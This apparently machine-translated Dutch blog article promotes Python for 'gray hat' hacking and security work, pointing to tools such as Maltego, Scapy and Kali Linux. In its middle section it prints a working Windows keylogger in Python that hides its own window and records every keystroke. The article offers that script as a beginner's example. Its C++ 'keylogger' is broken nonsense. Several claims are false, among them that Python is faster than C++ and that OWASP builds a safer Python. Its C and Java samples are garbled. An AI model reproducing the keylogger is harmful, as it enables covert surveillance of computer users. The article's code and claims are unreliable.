Gray Hat Python - Dus, twee jaar geleden deed ik mijn onderzoek naar programmeertalen, begon ik te lezen over C, C ++, Assembly, Python en Ruby. Ik wilde een expert worden in cyberbeveiliging. Dus begon ik zoveel mogelijk te leren. Begonnen met C, C ++ en C # als basis, en na het leren en compileren van veel programma's en virussen, begon ik eindelijk Kali Linux te leren. Voor degenen die niet weten wat Kali Linux is, is het een besturingssysteem voor penetratietesten. Dus ik ging door met mijn studie en wat ik zag was dat de meeste programma's, virussen en Trojaanse paarden werden gecompileerd in Python, en hun basis was Ruby.

Dus stopte ik voorlopig met mijn studie en begon ik Python te leren of om precies te zijn Gray Hat Python en Tadaa … Het was buitengewoon gemakkelijk in vergelijking met C, C # of een andere taal die ik leerde. Ik kwam eindelijk te weten waarom Python de meest gebruikte taal was en hoe het beroemd werd.
Dus vandaag zou ik het hebben over hoe Python werd omgezet in Gray Hat Python en waarom het zo uitgebreid wordt gebruikt, dat zelfs Google en YouTube het in hun database gebruiken om zo nauwkeurig mogelijke zoekresultaten te geven.

Om te beginnen is Python een programmeertaal op hoog niveau, wat betekent dat de syntaxis zeer gemakkelijk te lezen is, zelfs voor beginners. Als je nieuw bent in programmeren, is dit de taal die ik je zou aanraden om mee te beginnen. Laat me je een voorbeeld geven:

Zo ziet het eruit in C: -

#include

int main()
(
printf("Hello world\n");
return 0;
)

Zo ziet het eruit in Java: -

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


En zo ziet het eruit in Python (v2.7)

print "Hello World"

Gemakkelijk? Jawel. Dus Python was niet alleen gemakkelijk te schrijven en te begrijpen, maar ook erg compact. Dus je vraagt ​​je misschien af ​​hoe dit tot Gray Hat Python heeft geleid?

Aanbevolen cursussen

  • IP-routeringstraining
  • Cursus hacken
  • RMAN-training voltooien
  • Python programmeertraining

Python tegen Gray Hat Python

Wat is Gray Hat Python precies? Waarom is het zo anders dan onze normale Python? Het ding is dat Gray Hat Python niets anders is dan programma's geschreven in Python door Hackers, Network-Stress testers en Reverse Engineers om een ​​programma te maken of te kraken. Maar de term Gray Hat wordt gebruikt omdat het niet bepaald een nuttige of gebruikerssoftware is. Het wordt gebruikt om te beveiligen, of om beveiligingssoftware te maken.

Het kan gemakkelijk worden gebruikt voor het testen van de beperkingen van een veilige omgeving of om in te breken in een veilige omgeving. Dat is wat Gray Hat bedoelt. En het is veel gemakkelijker om het in Python te doen in plaats van het in C, C ++ of Java te doen. Dus de naam Gray Hat Python. Enkele voorbeelden die ik kan bedenken zijn:

• Key-loggers schrijven (voor Hackers en Pentesters)
• Beveiligingsshellscripts schrijven (voor netwerkbeheerders)
• Een geautomatiseerd IDS schrijven (inbraakdetectiesysteem voor beveiligingsingenieurs)

Dus nu weet je waarom en hoe Gray Hat Python nuttig is. Om dit uit te werken, wil ik u enkele gedetailleerde voorbeelden geven.
Je hebt misschien gehoord van Google App Engine. Google App Engine is oorspronkelijk ontworpen in Python voordat het werd overgedragen. Google App is een goed voorbeeld van een programma geschreven in Python, omdat het het mogelijk maakt webapplicaties te bouwen met behulp van zijn high-end rijke verzameling bibliotheken, tools en framework.

Ooit afgevraagd waarom het zo eenvoudig is om iets in Google te zoeken? Meestal krijg je zoekresultaten die voor 80% nauwkeurig zijn. Dit komt omdat Python extreem flexibel is, op hoge snelheid werkt en de databases veel compacter zijn, hoewel het een groot aantal informatie opslaat. Python is zo uitbreidbaar dat zelfs YouTube het gebruikt voor doeleinden zoals het bekijken van video, het beheren van sjablonen, het beheren van video, toegang tot canonieke gegevens en nog veel meer.

Google heeft zijn crawlers en spinnen die gegevens verzamelen zodra deze op internet zijn geüpload, ongeacht waar of hoe veilig deze zijn. Je hebt gewoon een goede inspiratie, tijd en kennis nodig om deze informatie te verzamelen.

Google-zoekopdrachten waren eerder gebaseerd op Python, dat later werd gewijzigd in C ++ voor snelheidoptimalisatie omdat Google-crawlers veel pagina's per seconde crawlen en elk enkele minuten nodig heeft om succesvol te crawlen. Python is momenteel veel sneller dan C ++, maar dat was enkele decennia geleden niet hetzelfde.

Er was een beroemd citaat geciteerd door Google: -
"Python waar we kunnen, C ++ waar we moeten."

Dus je vraagt ​​je misschien af ​​hoe dit kan worden gebruikt voor hacken, pentesten en netwerkbeveiliging. Ik ben het er niet mee eens. Als je een programma zou kunnen maken dat 70% -80% nauwkeurig is in het geven van efficiënte zoekresultaten, dan kun je waarschijnlijk een applicatie bouwen die websites kan verbinden, slim zoeken en een profiel bouwen van een persoon die liever door Individual Black Hats kan worden gebruikt voor kwaadaardige doeleinden. Laat Individuen buiten beschouwing, één als slim genoeg, kan eenvoudig een applicatie bouwen voor het bouwen van een profiel van een bedrijf, de hele boom vanaf de basis tot wat je maar kunt bedenken …

Informatie verzamelen via Maltego

Je denkt misschien dat ik een beetje overdrijf. Nee, dat ben ik NIET!

Denk aan voorbeelden als Maltego. Maltego is software of ik kan het beter herformuleren als open source forensische toepassing, gebouwd voor het verzamelen van informatie en het opbouwen van een profiel van mensen, bedrijven en andere zakelijke agentschappen.

Je hoeft alleen maar de juiste gegevens in de app in te voeren, en de rest van dingen zoals het koppelen van e-mails, mensen, groepen mensen, zelfs het bepalen van internetinfrastructuur zoals domeinen, DNS-namen, Netblocks en IP-adressen kunnen worden gekoppeld en onderling verbonden met behulp van deze open source-intelligentie .

Voor meer informatie bezoek om te weten Wat is Maltego?

Dus als toegang tot "Geheime informatie" uw succes bepaalt, kan Maltego u helpen het te ontdekken. Maltego is gedeeltelijk in Python geschreven en maakt ook gebruik van Java, wat weer een geweldige taal is.

Zoveel te citeren over beveiliging van Google. Om precies te zijn, Google is de minste manier om uzelf anoniem te houden op internet, ongeacht of u incognito of www.duckduckgo.com van Chrome gebruikt. Omdat uiteindelijk alles op internet wordt bijgewerkt. Het punt hier is, het gaat niet over onkwetsbaarheid, het gaat over absoluut kwetsbaar zijn. Men kan zichzelf niet volledig van internet afvegen. Maar men kan zeker proberen zo min mogelijk informatie op het web te bewaren.

Python is niet alleen een taal, het is een scripttaal. Met scripttalen kunt u schrijven en uw eigen hulpprogramma's wijzigen wanneer u iets meer aangepast nodig heeft. Deze netwerkbeveiligingstools zijn sterk afhankelijk van scripttaal voor uitbreidbaarheid. Laten we bijvoorbeeld Scapy nemen.

Scapy is puur geschreven in Python. Het is een krachtig interactief pakketmanipulatietool. Het kan zelf nep-pakketten genereren, netwerken scannen en zelfs pakketten op het netwerk snuiven.

Vind gedetailleerde informatie over Wat is Scapy?

Nu zijn dit complexe programma's geschreven door geavanceerde programmeurs. Laten we eens kijken hoe eenvoudig het is om een ​​programma in Python te schrijven dat gemakkelijk kan worden begrepen door mensen die een goede basis hebben bij het programmeren.

Dit is een keylogger geschreven in Python: -

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

Dus dit is veel meer dan eenvoudig als je het mij vraagt. Ik heb zojuist de modules pyhook, Pythoncom, win32gui en win32console toegevoegd die je eenvoudig kunt downloaden van de sourceforge-website en ik heb de opmerkingen met de hash-tag genoemd. Maar als ik hetzelfde programma in C ++ moet schrijven, laten we kijken hoe moeilijk dat kan zijn.

Dit is een programma geschreven in C ++: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

Dit is dus behoorlijk groot in vergelijking met Python. En als we het hebben over efficiëntie, dan kan Python eenvoudig worden gecompileerd in een uitvoerbaar bestand zonder enige inspanning met behulp van py2exe-software. Terwijl als ik het over C ++ heb, deze code eerlijk gezegd een grap is. Om een ​​goede key-logger te schrijven, moet men een DLL schrijven die WH_KEYBOARD-haak implementeert. Trouwens, deze code is verre van gemakkelijk voor een beginner om te begrijpen.

Open source hacken

Nu zorgt dit voor Black Hat-hackers, om preciezer te zijn de mensen die van plan zijn gegevens te vernietigen, manipuleren voor hun eigen behoeften. Vanuit veiligheidsoverwegingen gesproken, is Python ook nuttig voor White Hat-hackers die de samenleving willen redden van de aanval van kwaadwillende hackers. Als je een carrière wilt ontwikkelen of op zijn minst Python wilt leren voor beveiligingsonderzoek, kun je zeker diep in met OWASP, BRO of Quick NIX Secure Script.

OWASP is een Open Web Application Security Project. OWASP is gericht op het creëren van een veiligere versie van Python die het voor beveiligingsprofessionals en ontwikkelaars gemakkelijker maakt om software te schrijven die minder vatbaar is voor aanvallen van hackers. Het is gerelateerd aan Black-Box analyse, het identificeren en oplossen van beveiligingsgerelateerde problemen die de interactieve tolk van Python kunnen beïnvloeden.

BRO is een netwerkbeveiligings- en verkeersmonitorprogramma, terwijl Quick NIX wordt gebruikt om bestandseigenschappen direct te verharden en te beveiligen.

Omdat we het hebben over beveiliging, laten we het hebben over een besturingssysteem dat gedeeltelijk is gebaseerd op Python. Python werkt uitstekend met UNIX, LINUX en Debian. Een van de bekendste besturingssystemen was Backtrack 5. Er werden verschillende versies uitgebracht. Het is specifiek ontworpen voor PenTesting. Later dachten de mensen van Offensive Security dat Backtrack opnieuw moest worden opgestart omdat de meeste tools niet goed werkten of niet werden ondersteund.

Later brachten ze Kali Linux uit, volledig gebaseerd op Debian. En het grootste deel van het raamwerk bevindt zich in Ruby of Python. Ruby is ook een geweldige scripttaal. Maar ik zou op elk moment de voorkeur geven aan Python boven dat, omdat Python een meer diverse community met Linux heeft en directer en eenvoudiger te debuggen is. Hoewel Ruby veel functies heeft en zich snel aanpast aan de omgeving, kan het moeilijk te debuggen zijn, moeilijk te lezen en is het geavanceerder dan Python.

Het beste voorbeeld zou zijn als Apple versus Linux vergelijken of iPhone versus Android vergelijken. Apple is rijk aan bronnen en is extreem soepel, en is meer bevooroordeeld naar beginners. Terwijl Linux / Android gebruiksvriendelijker is, een beetje achterblijft en soms hoofdpijn kan veroorzaken als je niet weet hoe je het moet configureren of onderhouden.

Er is zelfs een boek gebaseerd op Python Gray Hat Hacking van Justin Seitz. Het gaat specifiek over het automatiseren van vervelende reverse engineering en beveiligingstaken, het ontwerpen van uw eigen debugger, bibliotheek en DLL-injectie, het snuiven van veilig verkeer over een gecodeerde sessie en het gebruik van Immunity debugger, Sulley en nog veel meer. Het is een geweldig boek, het maakt niet uit of je beginner bent of een expert, je leert altijd iets of iets anders wanneer je het leest.

Conclusie

Dus als je een beginner bent, is Python de juiste keuze om mee te beginnen als je eerste programmeertaal voor het testen van de beveiliging.

Vergeet niet dat één ding uiteindelijk Gray Hat Python niet alleen een taal is, het is een manier om dingen op een juiste en snelle manier te doen.

Eerste afbeeldingsbron: pixabay.com

Gerelateerde artikelen:-

Hier zijn enkele artikelen die u zullen helpen om meer details over de Gray Hat Python te krijgen, dus ga gewoon via de link.

  1. Voordelen van Cyber ​​Security Tools U moet zich bewust zijn van
  2. Carrières in Python
  3. Top 25 geweldige vragen en antwoorden over het interview met Python
  4. Wat zijn de voordelen en beperkingen van het gebruik van Python?
  5. Python vs Node.js
  6. Gids voor sollicitatievragen voor Cyber ​​Security
  7. Verschillende soorten hulpmiddelen voor beveiligingstests